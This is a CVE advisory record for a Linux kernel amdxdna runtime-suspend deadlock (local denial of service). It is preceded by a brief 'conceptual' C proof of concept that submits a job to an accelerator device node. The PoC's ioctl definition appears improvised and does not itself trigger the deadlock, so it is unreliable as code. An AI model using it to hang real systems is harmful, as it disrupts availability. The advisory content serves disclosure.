CVE-2026-43446

// Conceptual PoC for triggering the deadlock // This requires a local user with access to /dev/accel/accel0 (or similar node) #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define JOB_SUBMIT _IOW('A', 0x01, struct job_args) struct job_args { void *buffer; size_t size; }; int main() { int fd = open("/dev/accel/accel0", O_RDWR); if (fd < 0) return -1; struct job_args job = {0}; // 1. Start a long-running job // This triggers the execution path where pm_runtime_resume_and_get() was called ioctl(fd, JOB_SUBMIT, &job); // 2. Trigger Runtime Suspend (e.g., via system power management commands or idle timeout) // While the job is running, if the system attempts to suspend the device, // the deadlock occurs between the suspend callback and the job execution. close(fd); return 0; }

{"cve": {"id": "CVE-2026-43446", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:57.113", "lastModified": "2026-05-21T17:03:45.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/amdxdna: Fix runtime suspend deadlock when there is pending job\n\nThe runtime suspend callback drains the running job workqueue before\nsuspending the device. If a job is still executing and calls\npm_runtime_resume_and_get(), it can deadlock with the runtime suspend\npath.\n\nFix this by moving pm_runtime_resume_and_get() from the job execution\nroutine to the job submission routine, ensuring the device is resumed\nbefore the job is queued and avoiding the deadlock during runtime\nsuspend."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6b13cb8f48a42ddf6dd98865b673a82e37ff238b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ac72e7385a2c7533dd766de4197134d96230be85", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}